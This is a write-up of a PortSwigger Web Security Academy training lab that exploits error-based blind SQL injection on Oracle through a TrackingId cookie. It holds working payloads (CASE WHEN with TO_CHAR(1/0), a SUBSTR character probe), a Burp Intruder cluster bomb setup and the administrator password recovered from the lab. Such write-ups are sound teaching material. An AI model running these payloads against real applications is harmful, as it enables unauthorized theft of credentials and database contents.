Skip to content

Blind SQL Injection — Error-Based Conditional (Oracle)

Field Value
Platform PortSwigger Web Security Academy
Vulnerability Blind SQL Injection — Error-Based with Conditional Expressions
Difficulty Practitioner
Injection Point TrackingId cookie
Goal Extract the administrator password using conditional error triggering

Phase 1 — Reconnaissance

We land on a shopping center page. The vulnerability is in the TrackingId cookie.

Screenshot

Adding a ' to the cookie returns HTTP/2 500 Internal Server Error:

Screenshot

Adding a true statement restores 200 OK:

Cookie: TrackingId=YwojAtosrcXRlSmd' or 1=1 -- -
Screenshot

This confirms injectable input. Unlike the previous boolean lab where the signal was "Welcome back" present or absent, here the signal is the HTTP status code500 means the injected condition triggered a database error, 200 means it did not.


Phase 2 — DB Fingerprinting

Testing whether subqueries are evaluated:

TrackingId=YwojAtosrcXRlSmd' and (select 'x')='x' -- -

This returned 500 — but that's because the context is different. Let's test with Oracle's DUAL table to confirm the backend:

TrackingId=YwojAtosrcXRlSmd' and (select 'x' from dual)='x' -- -
Screenshot

200 OKFROM dual works, confirming Oracle as the backend. The extraction technique must now use Oracle syntax throughout.


Phase 3 — The Technique: CASE WHEN + Division by Zero

The previous lab used "Welcome back" as the boolean signal. Here the application returns the same HTTP body regardless of the query result — the only feedback is whether a database error occurred. The technique exploits this by deliberately triggering a division-by-zero error when a condition is true, and returning NULL (no error) when it is false:

'||(SELECT CASE WHEN (<condition>) THEN TO_CHAR(1/0) ELSE NULL END FROM <table> WHERE ...)||'
  • Condition trueTO_CHAR(1/0) → division by zero → 500 Internal Server Error
  • Condition falseNULL → no error → 200 OK

The payload uses string concatenation (||) instead of AND because we are injecting into a string context rather than a WHERE clause — the original query's string is closed, our subquery is concatenated into it, and the query is not commented out at the end. This means the injection must be syntactically valid on both sides.


Phase 4 — Attack Path

Step 1 — Confirm the Target User Exists

500 = user exists (condition true → divide by zero):

TrackingId=YwojAtosrcXRlSmd'||(select case when (1=1) then to_char(1/0) else null end from users where username = 'administrator')||'
Screenshot

200 = user does not exist (no row returned → CASE never evaluated → no error):

'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE NULL END FROM users WHERE username='test')||'
Screenshot

The behavioral difference is confirmed — 500 when a matching row exists, 200 when it doesn't.


Step 2 — Determine Password Length

Incrementing the length value and looking for 500:

TrackingId=YwojAtosrcXRlSmd'||(select case when length(password)=20 then to_char(1/0) else null end from users where username = 'administrator')||'
Screenshot

500 at length(password) = 20 — the administrator's password is 20 characters long.


Step 3 — Extract Password Character by Character

Using SUBSTR (Oracle syntax — not SUBSTRING) to extract one character at a time:

TrackingId=YwojAtosrcXRlSmd'||(select case when substr(password,§1§,1)='§x§' then to_char(1/0) else null end from users where username = 'administrator')||' -- -;

Burp Intruder — Cluster Bomb attack:

  • Payload 1 (position §1§): numbers 1 to 20
  • Payload 2 (character §x§): a-z lowercase + 0-9

Adding a Grep Match rule for 500 Internal Server Error to identify correct characters:

Screenshot
Screenshot

Attack results — requests returning 500 at each position reveal the correct character:

Screenshot

Administrator password recovered: s55bag0lbm2o5ovghyc2


Alternative — Python Automation

The same extraction can be automated with a Python script. It iterates through every character position (1 to 20) and for each position tries every character in a-z + 0-9. For each combination it sends a GET request with a crafted TrackingId cookie containing the SUBSTR payload. If the response contains HTTP/2 500 Internal Server Error, the character is confirmed, appended to the recovered password, and the script moves to the next position. Progress is displayed in real time using pwntools log bars.

Screenshot

Conclusion

  1. A ' caused 500; or 1=1 -- - restored 200 — confirming injectable input with HTTP status as the feedback channel.
  2. FROM dual succeeding confirmed Oracle as the backend.
  3. CASE WHEN (condition) THEN TO_CHAR(1/0) ELSE NULL END was used as the extraction primitive — true condition triggers division-by-zero → 500; false condition returns NULL → 200.
  4. Row existence was confirmed; length(password) = 20 returned 500 — establishing the password length.
  5. Cluster Bomb Intruder with SUBSTR across positions 1–20 and charset a-z + 0-9, filtering on 500 responses, recovered the full password: s55bag0lbm2o5ovghyc2.

Key Concepts

Error-based blind vs. boolean-based blind — both are blind, but the signal differs. Boolean-based blind used "Welcome back" (application behavior); error-based blind uses the HTTP status code (500 vs. 200). The extraction logic is identical — the only difference is what you observe to determine true vs. false.

Why CASE WHEN + division by zero — when the application returns no data and behaves identically for true and false SQL conditions, you need to manufacture a detectable difference. Triggering a database error (division by zero, type coercion failure) is the most reliable way to do this — the error propagates to the HTTP layer as a 500.

Oracle syntax differences from previous labs:

Operation Non-Oracle Oracle
Substring SUBSTRING(str, pos, len) SUBSTR(str, pos, len)
Dummy table not needed FROM dual
Division error 1/0 (may vary) TO_CHAR(1/0)
Concatenation \|\| or CONCAT() \|\| only

Injection via concatenation (||) vs. AND — in this lab the payload is injected into a string context using || on both sides rather than closing the query with -- -. This requires the payload to be syntactically valid on both sides of the injection point — no trailing comment needed because the original string terminator closes it on the right.